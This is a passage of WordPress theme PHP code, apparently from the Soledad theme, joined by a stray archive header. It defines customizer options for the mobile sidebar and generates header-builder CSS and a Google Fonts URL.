	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Mobile Sidebar Background Position', 'soledad' ),
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Mobile Sidebar Background Size', 'soledad' ),
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Mobile Sidebar Background Attachment', 'soledad' ),
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_spacing_setting",
	'default'   => '',
	'type'      => 'soledad-fw-box-model',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'label'     => esc_html__( 'Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'  => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
	),
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_border_setting",
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( ' Mobile Sidebar Borders Color', 'soledad' ),
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( ' Mobile Sidebar Borders Style', 'soledad' ),
	'choices'   => [
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_text_color_setting",
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'settings'  => "penci_header_mobile_sidebar_text_color_setting",
	'label'     => __( 'General Text Color', 'soledad' ),
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_link_color_setting",
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( ' Mobile Sidebar Link Color', 'soledad' ),
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_link_hv_color_setting",
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( ' Mobile Sidebar Link Hover Color', 'soledad' ),
);

return $options;
PK     /w\vʽ    builder/customizer/style.phpnu [        <?php
if ( ! function_exists( 'penci_builder_fonts_url' ) ) {
	function penci_builder_fonts_url( $data = 'normal' ) {
		$font_url = '';

		$array_fonts       = array();
		$array_get         = array();
		$array_options     = array();
		$array_earlyaccess = array();

		$font_settings = array(
			'penci_header_pb_main_menu_penci_font_for_menu',
			'penci_header_pb_logo_penci_font_for_title',
			'penci_header_pb_logo_mobile_penci_font_for_title',
			'penci_header_pb_logo_sidebar_penci_font_for_title',
			'penci_header_pb_logo_sticky_penci_font_for_title',
			'penci_header_pb_logo_penci_font_for_slogan',
			'penci_header_pb_logo_mobile_penci_font_for_slogan',
			'penci_header_pb_logo_sidebar_penci_font_for_slogan',
			'penci_header_pb_logo_sticky_penci_font_for_slogan',
			'penci_header_pb_second_menu_penci_font_for_menu',
			'penci_header_pb_third_menu_penci_font_for_menu',
			'penci_header_pb_dropdown_menu_penci_font_for_menu',
			'penci_header_pb_login_register_penci_font_login_text',
			'penci_header_pb_button_font',
			'penci_header_pb_button_2_font',
			'penci_header_pb_button_3_font',
			'penci_header_pb_button_mobile_font',
			'penci_header_pb_button_mobile_1_font',
			'penci_header_pb_bookmark_font',
			'penci_header_pb_news_ticker_font',
		);

		$exlude_fonts         = array_merge( penci_get_custom_fonts(), penci_font_browser() );
		$default_loaded_fonts = penci_fonts_url( 'normalarray' );
		if ( is_array( $default_loaded_fonts ) && ! empty( $default_loaded_fonts ) ) {
			$exlude_fonts = array_merge( $exlude_fonts, $default_loaded_fonts );
		}
		$earlyaccess_loaded_fonts = penci_fonts_url( 'earlyaccess' );
		if ( is_array( $earlyaccess_loaded_fonts ) && ! empty( $earlyaccess_loaded_fonts ) ) {
			$exlude_fonts = array_merge( $exlude_fonts, $earlyaccess_loaded_fonts );
		}

		foreach ( $font_settings as $font ) {
			$font = penci_get_builder_mod( $font );
			if ( $font && ! in_array( $font, $exlude_fonts ) ) {
				$array_options[] = $font;
			}
		}

		if ( ! empty( $array_options ) ) {


			foreach ( $array_options as $font ) {

				$font_family       = str_replace( '"', '', $font );
				$font_family_explo = explode( ', ', $font_family );
				$array_get[]       = isset( $font_family_explo[0] ) ? $font_family_explo[0] : '';

			}
		}
		$array_end = array_unique( array_merge( $array_fonts, $array_get ), SORT_REGULAR );

		$string_end = implode( ':300,300italic,400,400italic,500,500italic,700,700italic,800,800italic|', $array_end );

		/*
		Translators: If there are characters in your language that are not supported
		by chosen font(s), translate this to 'off'. Do not translate into your own language.
		 */
		if ( 'off' !== _x( 'on', 'Google font: on or off', 'soledad' ) && ! empty( $array_options ) ) {
			$font_url = add_query_arg(
				array(
					'family'  => urlencode( $string_end . ':300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic&subset=latin,cyrillic,cyrillic-ext,greek,greek-ext,latin-ext' ),
					'display' => 'swap',
				),
				'https://fonts.googleapis.com/css'
			);
		}

		if ( $data == 'earlyaccess' ) {
			return $array_earlyaccess;
		} else {
			return $font_url;
		}
	}
}

add_action( 'wp_head', function () {
	$header_css = penci_builder_customizer_css();
	$builder_id = penci_get_header_builder_id();
	if ( $header_css ) {
		echo '<style id="penci-header-builder-' . $builder_id . '" type="text/css">' . $header_css . '</style>';
	}
}, 99 );

function penci_builder_customizer_css() {
	if ( ! penci_is_active_header_builder() ) {
		return;
	}

	$builder_id  = penci_get_header_builder_id();
	$header_data = get_page_by_path( $builder_id, OBJECT, 'penci_builder' );
	$header_id   = isset( $header_data->ID ) && $header_data->ID ? $header_data->ID : '';
	$header_data = get_post_meta( $header_id, 'settings_content', true );

	$block_settings        = array( 'topblock', 'topbar', 'midbar', 'bottombar', 'bottomblock' );
	$sticky_block_settings = array( 'top', 'mid', 'bottom' );
	$mobile_block_settings = array( 'topbar', 'midbar', 'bottombar' );
	$return                = $out = '';
	foreach ( $block_settings as $area ) {
		$return .= penci_builder_get_area_css( $header_data, $area, 'desktop', 'header' );
	}
	foreach ( $sticky_block_settings as $sticky_area ) {
		$return .= penci_builder_get_area_css( $header_data, $sticky_area, 'sticky', 'header_sticky' );
	}
	foreach ( $mobile_block_settings as $mobile_area ) {
		$return .= penci_builder_get_area_css( $header_data, $mobile_area, 'mobile', 'header_mobile' );
	}

	// General header
	$header_general_spacing = penci_get_builder_mod( 'penci_header_spacing_setting' );
	$out                    .= '.penci_header.penci-header-builder.main-builder-header{';
	$out                    .= penci_builder_spacing_extract_data( $header_general_spacing );
	$out                    .= '}';

	// Desktop Logo
	$custom_logo_mw                     = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_size_logo_w' );
	$custom_logo_mmw                    = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_size_logo_mw' );
	$custom_logo_mh                     = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_size_logo_h' );
	$custom_logo_mmh                    = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_size_logo_mh' );
	$custom_logo_msw                    = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_size_logo_sw' );
	$custom_logo_msh                    = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_size_logo_sh' );
	$custom_logo_fontsize_logo          = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_font_size_logo' );
	$custom_logo_color_logo             = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_color_logo' );
	$custom_logo_fontsize_m_logo        = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_font_size_m_logo' );
	$custom_logo_fontface_logo          = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_penci_font_for_title' );
	$custom_logo_fontweight_logo        = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_penci_font_weight_title' );
	$custom_logo_fontstyle_logo         = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_penci_font_style_title' );
	$custom_logo_fontsize_slogan_logo   = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_font_size_slogan' );
	$custom_logo_color_slogan_logo      = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_color_slogan' );
	$custom_logo_fontsize_slogan_m_logo = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_font_size_m_slogan' );
	$custom_logo_fontface_slogan_logo   = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_penci_font_for_slogan' );
	$custom_logo_fontweight_slogan_logo = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_penci_font_weight_slogan' );
	$custom_logo_fontstyle_slogan_logo  = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_penci_font_style_slogan' );

	$out .= '.penci-header-image-logo,.penci-header-text-logo{';
	if ( ! empty( $custom_logo_fontsize_logo ) ) {
		$out .= '--pchb-logo-title-size:' . $custom_logo_fontsize_logo . 'px;';
	}
	if ( ! empty( $custom_logo_color_logo ) ) {
		$out .= '--pchb-logo-title-color:' . $custom_logo_color_logo . ';';
	}
	if ( ! empty( $custom_logo_color_slogan_logo ) ) {
		$out .= '--pchb-logo-slogan-color:' . $custom_logo_color_slogan_logo . ';';
	}
	if ( ! empty( $custom_logo_fontsize_m_logo ) ) {
		$out .= '--pchb-logo-title-m-size:' . $custom_logo_fontsize_m_logo . 'px;';
	}
	if ( ! empty( $custom_logo_fontface_logo ) ) {
		$out .= '--pchb-logo-title-font:' . penci_builder_get_font_data( $custom_logo_fontface_logo ) . ';';
	}
	if ( ! empty( $custom_logo_fontweight_logo ) ) {
		$out .= '--pchb-logo-title-fw:' . $custom_logo_fontweight_logo . ';';
	}
	if ( ! empty( $custom_logo_fontstyle_logo ) ) {
		$out .= '--pchb-logo-title-fs:' . $custom_logo_fontstyle_logo . ';';
	}
	if ( ! empty( $custom_logo_fontsize_slogan_logo ) ) {
		$out .= '--pchb-logo-slogan-size:' . $custom_logo_fontsize_slogan_logo . 'px;';
	}
	if ( ! empty( $custom_logo_fontsize_slogan_m_logo ) ) {
		$out .= '--pchb-logo-slogan-m-size:' . $custom_logo_fontsize_slogan_m_logo . 'px;';
	}
	if ( ! empty( $custom_logo_fontface_slogan_logo ) ) {
		$out .= '--pchb-logo-slogan-font:' . $custom_logo_fontface_slogan_logo . ';';
	}
	if ( ! empty( $custom_logo_fontweight_slogan_logo ) ) {
		$out .= '--pchb-logo-slogan-fw:' . $custom_logo_fontweight_slogan_logo . ';';
	}
	if ( ! empty( $custom_logo_fontstyle_slogan_logo ) ) {
		$out .= '--pchb-logo-slogan-fs:' . $custom_logo_fontstyle_slogan_logo . ';';
	}
	$out .= '}';

	$out .= '.pc-logo-desktop.penci-header-image-logo img{';
	if ( ! empty( $custom_logo_mw ) ) {
		$out .= 'max-width:' . $custom_logo_mw . 'px;';
	}
	if ( ! empty( $custom_logo_mh ) ) {
		$out .= 'max-height:' . $custom_logo_mh . 'px;';
	}
	$out .= '}';

	$out .= '@media only screen and (max-width: 767px){.penci_navbar_mobile .penci-header-image-logo img{';
	if ( ! empty( $custom_logo_mmw ) ) {
		$out .= 'max-width:' . $custom_logo_mmw . 'px;';
	}
	if ( ! empty( $custom_logo_mmh ) ) {
		$out .= 'max-height:' . $custom_logo_mmh . 'px;';
	}
	$out .= '}}';

	$out .= '.penci_builder_sticky_header_desktop .penci-header-image-logo img{';
	if ( ! empty( $custom_logo_msw ) ) {
		$out .= 'max-width:' . $custom_logo_msw . 'px;';
	}
	if ( ! empty( $custom_logo_msh ) ) {
		$out .= 'max-height:' . $custom_logo_msh . 'px;';
	}
	$out .= '}';

	// Mobile Logo
	$custom_m_logo_mw                     = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_size_logo_mw' );
	$custom_m_logo_mh                     = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_size_logo_mh' );
	$custom_m_logo_msw                    = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_size_logo_sw' );
	$custom_m_logo_msh                    = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_size_logo_sh' );
	$custom_m_logo_fontsize_logo          = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_font_size_logo' );
	$custom_m_logo_color_logo             = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_color_logo' );
	$custom_m_logo_fontsize_m_logo        = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_font_size_m_logo' );
	$custom_m_logo_fontface_logo          = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_penci_font_for_title' );
	$custom_m_logo_fontweight_logo        = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_penci_font_weight_title' );
	$custom_m_logo_fontstyle_logo         = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_penci_font_style_title' );
	$custom_m_logo_fontsize_slogan_logo   = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_font_size_slogan' );
	$custom_m_logo_color_slogan_logo      = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_color_slogan' );
	$custom_m_logo_fontsize_slogan_m_logo = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_font_size_m_slogan' );
	$custom_m_logo_fontface_slogan_logo   = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_penci_font_for_slogan' );
	$custom_m_logo_fontweight_slogan_logo = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_penci_font_weight_slogan' );
	$custom_m_logo_fontstyle_slogan_logo  = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_penci_font_style_slogan' );

	$out .= '.penci_navbar_mobile .penci-header-text-logo{';
	if ( ! empty( $custom_m_logo_fontsize_logo ) ) {
		$out .= '--pchb-m-logo-title-size:' . $custom_m_logo_fontsize_logo . 'px;';
	}
	if ( ! empty( $custom_m_logo_color_logo ) ) {
		$out .= '--pchb-m-logo-title-color:' . $custom_m_logo_color_logo . ';';
	}
	if ( ! empty( $custom_m_logo_color_slogan_logo ) ) {
		$out .= '--pchb-m-logo-slogan-color:' . $custom_m_logo_color_slogan_logo . ';';
	}
	if ( ! empty( $custom_m_logo_fontsize_m_logo ) ) {
		$out .= '--pchb-m-logo-title-m-size:' . $custom_m_logo_fontsize_m_logo . 'px;';
	}
	if ( ! empty( $custom_m_logo_fontface_logo ) ) {
		$out .= '--pchb-m-logo-title-font:' . penci_builder_get_font_data( $custom_m_logo_fontface_logo ) . ';';
	}
	if ( ! empty( $custom_m_logo_fontweight_logo ) ) {
		$out .= '--pchb-m-logo-title-fw:' . $custom_m_logo_fontweight_logo . ';';
	}
	if ( ! empty( $custom_m_logo_fontstyle_logo ) ) {
		$out .= '--pchb-m-logo-title-fs:' . $custom_m_logo_fontstyle_logo . ';';
	}
	if ( ! empty( $custom_m_logo_fontsize_slogan_logo ) ) {
		$out .= '--pchb-m-logo-slogan-size:' . $custom_m_logo_fontsize_slogan_logo . 'px;';
	}
	if ( ! empty( $custom_m_logo_fontsize_slogan_m_logo ) ) {
		$out .= '--pchb-m-logo-slogan-m-size:' . $custom_m_logo_fontsize_slogan_m_logo . 'px;';
	}
	if ( ! empty( $custom_m_logo_fontface_slogan_logo ) ) {
		$out .= '--pchb-m-logo-slogan-font:' . $custom_m_logo_fontface_slogan_logo . ';';
	}
	if ( ! empty( $custom_m_logo_fontweight_slogan_logo ) ) {
		$out .= '--pchb-m-logo-slogan-fw:' . $custom_m_logo_fontweight_slogan_logo . ';';
	}
	if ( ! empty( $custom_m_logo_fontstyle_slogan_logo ) ) {
		$out .= '--pchb-m-logo-slogan-fs:' . $custom_m_logo_fontstyle_slogan_logo . ';';
	}
	$out .= '}';

	$out .= '.penci_navbar_mobile .penci-header-image-logo img{';
	if ( ! empty( $custom_m_logo_mw ) ) {
		$out .= 'max-width:' . $custom_m_logo_mw . 'px;';
	}
	if ( ! empty( $custom_m_logo_mh ) ) {
		$out .= 'max-height:' . $custom_m_logo_mh . 'px;';
	}
	$out .= '}';

	$out .= '.penci_navbar_mobile .sticky-enable .penci-header-image-logo img{';
	if ( ! empty( $custom_m_logo_msw ) ) {
		$out .= 'max-width:' . $custom_m_logo_msw . 'px;';
	}
	if ( ! empty( $custom_m_logo_msh ) ) {
		$out .= 'max-height:' . $custom_m_logo_msh . 'px;';
	}
	$out .= '}';

	// Mobile Sidebar Logo
	$custom_ms_logo_mw                     = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_size_logo_mw' );
	$custom_ms_logo_mh                     = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_size_logo_mh' );
	$custom_ms_logo_fontsize_logo          = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_font_size_logo' );
	$custom_ms_logo_color_logo             = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_color_logo' );
	$custom_ms_logo_fontsize_m_logo        = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_font_size_m_logo' );
	$custom_ms_logo_fontface_logo          = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_penci_font_for_title' );
	$custom_ms_logo_fontweight_logo        = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_penci_font_weight_title' );
	$custom_ms_logo_fontstyle_logo         = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_penci_font_style_title' );
	$custom_ms_logo_fontsize_slogan_logo   = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_font_size_slogan' );
	$custom_ms_logo_color_slogan_logo      = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_color_slogan' );
	$custom_ms_logo_fontsize_slogan_m_logo = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_font_size_m_slogan' );
	$custom_ms_logo_fontface_slogan_logo   = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_penci_font_for_slogan' );
	$custom_ms_logo_fontweight_slogan_logo = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_penci_font_weight_slogan' );
	$custom_ms_logo_fontstyle_slogan_logo  = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_penci_font_style_slogan' );

	$out .= '.pb-logo-sidebar-mobile{';
	if ( ! empty( $custom_ms_logo_fontsize_logo ) ) {
		$out .= '--pchb-logo-sm-title-size:' . $custom_ms_logo_fontsize_logo . 'px;';
	}
	if ( ! empty( $custom_ms_logo_color_logo ) ) {
		$out .= '--pchb-logo-sm-title-color:' . $custom_ms_logo_color_logo . ';';
	}
	if ( ! empty( $custom_ms_logo_color_slogan_logo ) ) {
		$out .= '--pchb-logo-sm-slogan-color:' . $custom_ms_logo_color_slogan_logo . ';';
	}
	if ( ! empty( $custom_ms_logo_fontsize_m_logo ) ) {
		$out .= '--pchb-logo-sm-title-m-size:' . $custom_ms_logo_fontsize_m_logo . 'px;';
	}
	if ( ! empty( $custom_ms_logo_fontface_logo ) ) {
		$out .= '--pchb-logo-sm-title-font:' . penci_builder_get_font_data( $custom_ms_logo_fontface_logo ) . ';';
	}
	if ( ! empty( $custom_ms_logo_fontweight_logo ) ) {
		$out .= '--pchb-logo-sm-title-fw:' . $custom_ms_logo_fontweight_logo . ';';
	}
	if ( ! empty( $custom_ms_logo_fontstyle_logo ) ) {
		$out .= '--pchb-logo-sm-title-fs:' . $custom_ms_logo_fontstyle_logo . ';';
	}
	if ( ! empty( $custom_ms_logo_fontsize_slogan_logo ) ) {
		$out .= '--pchb-logo-sm-slogan-size:' . $custom_ms_logo_fontsize_slogan_logo . 'px;';
	}
	if ( ! empty( $custom_ms_logo_fontsize_slogan_m_logo ) ) {
		$out .= '--pchb-logo-sm-slogan-m-size:' . $custom_ms_logo_fontsize_slogan_m_logo . 'px;';
	}
	if ( ! empty( $custom_ms_logo_fontface_slogan_logo ) ) {
		$out .= '--pchb-logo-sm-slogan-font:' . $custom_ms_logo_fontface_slogan_logo . ';';
	}
	if ( ! empty( $custom_ms_logo_fontweight_slogan_logo ) ) {
		$out .= '--pchb-logo-sm-slogan-fw:' . $custom_ms_logo_fontweight_slogan_logo . ';';
	}
	if ( ! empty( $custom_ms_logo_fontstyle_slogan_logo ) ) {
		$out .= '--pchb-logo-sm-slogan-fs:' . $custom_ms_logo_fontstyle_slogan_logo . ';';
	}
	$out .= '}';

	$out .= '.pc-builder-element.pb-logo-sidebar-mobile img{';
	if ( ! empty( $custom_ms_logo_mw ) ) {
		$out .= 'max-width:' . $custom_ms_logo_mw . 'px;';
	}
	if ( ! empty( $custom_ms_logo_mh ) ) {
		$out .= 'max-height:' . $custom_ms_logo_mh . 'px;';
	}
	$out .= '}';

	// Sticky Logo
	$custom_s_logo_mw                     = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_size_logo_w' );
	$custom_s_logo_mh                     = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_size_logo_h' );
	$custom_s_logo_fontsize_logo          = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_font_size_logo' );
	$custom_s_logo_color_logo             = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_color_logo' );
	$custom_s_logo_fontsize_m_logo        = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_font_size_m_logo' );
	$custom_s_logo_fontface_logo          = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_penci_font_for_title' );
	$custom_s_logo_fontweight_logo        = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_penci_font_weight_title' );
	$custom_s_logo_fontstyle_logo         = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_penci_font_style_title' );
	$custom_s_logo_fontsize_slogan_logo   = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_font_size_slogan' );
	$custom_s_logo_color_slogan_logo      = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_color_slogan' );
	$custom_s_logo_fontsize_slogan_m_logo = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_font_size_m_slogan' );
	$custom_s_logo_fontface_slogan_logo   = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_penci_font_for_slogan' );
	$custom_s_logo_fontweight_slogan_logo = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_penci_font_weight_slogan' );
	$custom_s_logo_fontstyle_slogan_logo  = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_penci_font_style_slogan' );

	$out .= '.pc-logo-sticky{';
	if ( ! empty( $custom_s_logo_fontsize_logo ) ) {
		$out .= '--pchb-logo-s-title-size:' . $custom_s_logo_fontsize_logo . 'px;';
	}
	if ( ! empty( $custom_s_logo_color_logo ) ) {
		$out .= '--pchb-logo-s-title-color:' . $custom_s_logo_color_logo . ';';
	}
	if ( ! empty( $custom_s_logo_color_slogan_logo ) ) {
		$out .= '--pchb-logo-s-slogan-color:' . $custom_s_logo_color_slogan_logo . ';';
	}
	if ( ! empty( $custom_s_logo_fontsize_m_logo ) ) {
		$out .= '--pchb-logo-s-title-m-size:' . $custom_s_logo_fontsize_m_logo . 'px;';
	}
	if ( ! empty( $custom_s_logo_fontface_logo ) ) {
		$out .= '--pchb-logo-s-title-font:' . penci_builder_get_font_data( $custom_s_logo_fontface_logo ) . ';';
	}
	if ( ! empty( $custom_s_logo_fontweight_logo ) ) {
		$out .= '--pchb-logo-s-title-fw:' . $custom_s_logo_fontweight_logo . ';';
	}
	if ( ! empty( $custom_s_logo_fontstyle_logo ) ) {
		$out .= '--pchb-logo-s-title-fs:' . $custom_s_logo_fontstyle_logo . ';';
	}
	if ( ! empty( $custom_s_logo_fontsize_slogan_logo ) ) {
		$out .= '--pchb-logo-s-slogan-size:' . $custom_s_logo_fontsize_slogan_logo . 'px;';
	}
	if ( ! empty( $custom_s_logo_fontsize_slogan_m_logo ) ) {
		$out .= '--pchb-logo-s-slogan-m-size:' . $custom_s_logo_fontsize_slogan_m_logo . 'px;';
	}
	if ( ! empty( $custom_s_logo_fontface_slogan_logo ) ) {
		$out .= '--pchb-logo-s-slogan-font:' . $custom_s_logo_fontface_slogan_logo . ';';
	}
	if ( ! empty( $custom_s_logo_fontweight_slogan_logo ) ) {
		$out .= '--pchb-logo-s-slogan-fw:' . $custom_s_logo_fontweight_slogan_logo . ';';
	}
	if ( ! empty( $custom_s_logo_fontstyle_slogan_logo ) ) {
		$out .= '--pchb-logo-s-slogan-fs:' . $custom_s_logo_fontstyle_slogan_logo . ';';
	}
	$out .= '}';

	$out .= '.pc-builder-element.pc-logo-sticky.pc-logo img{';
	if ( ! empty( $custom_s_logo_mw ) ) {
		$out .= 'max-width:' . $custom_s_logo_mw . 'px;';
	}
	if ( ! empty( $custom_s_logo_mh ) ) {
		$out .= 'max-height:' . $custom_s_logo_mh . 'px;';
	}
	$out .= '}';

	// Main Menu
	$main_menu_font        = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_font_for_menu' );
	$main_menu_font_weight = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_font_weight_menu' );
	$main_menu_fs          = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_font_size_lv1' );
	$main_menu_lh          = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_line_height_lv1' );
	$main_menu_fs_drop     = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_font_size_drop' );
	$main_menu_tt          = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_menu_uppercase' );
	$main_menu_mg          = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_lv1_item_spacing' );
	$main_menu_mgi         = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_lv1_item_margin' );

	$out .= '.pc-builder-element.pc-main-menu{';
	if ( ! empty( $main_menu_font ) ) {
		$out .= '--pchb-main-menu-font:' . penci_builder_get_font_data( $main_menu_font ) . ';';
	}
	if ( ! empty( $main_menu_font_weight ) ) {
		$out .= '--pchb-main-menu-fw:' . $main_menu_font_weight . ';';
	}
	if ( ! empty( $main_menu_fs ) ) {
		$out .= '--pchb-main-menu-fs:' . $main_menu_fs . 'px;';
	}
	if ( ! empty( $main_menu_fs_drop ) ) {
		$out .= '--pchb-main-menu-fs_l2:' . $main_menu_fs_drop . 'px;';
	}
	if ( ! empty( $main_menu_mg ) ) {
		$out .= '--pchb-main-menu-mg:' . $main_menu_mg . 'px;';
	}
	if ( ! empty( $main_menu_mgi ) ) {
		$out .= '--pchb-main-menu-mgi:' . $main_menu_mgi . 'px;';
	}
	if ( ! empty( $main_menu_lh ) ) {
		$out .= '--pchb-main-menu-lh:' . $main_menu_lh . 'px;';
	}
	if ( 'enable' == $main_menu_tt ) {
		$out .= '--pchb-main-menu-tt: none;';
	}

	$out .= '}';

	// Secondary Menu
	$second_menu_font        = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_font_for_menu' );
	$second_menu_font_weight = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_font_weight_menu' );
	$second_menu_fs          = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_font_size_lv1' );
	$second_menu_lh          = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_line_height_lv1' );
	$second_menu_fs_drop     = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_font_size_drop' );
	$second_menu_tt          = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_menu_uppercase' );
	$second_menu_mg          = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_lv1_item_spacing' );
	$second_menu_mgi         = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_lv1_item_margin' );

	$out .= '.pc-builder-element.pc-second-menu{';
	if ( ! empty( $second_menu_font ) ) {
		$out .= '--pchb-second-menu-font:' . penci_builder_get_font_data( $second_menu_font ) . ';';
	}
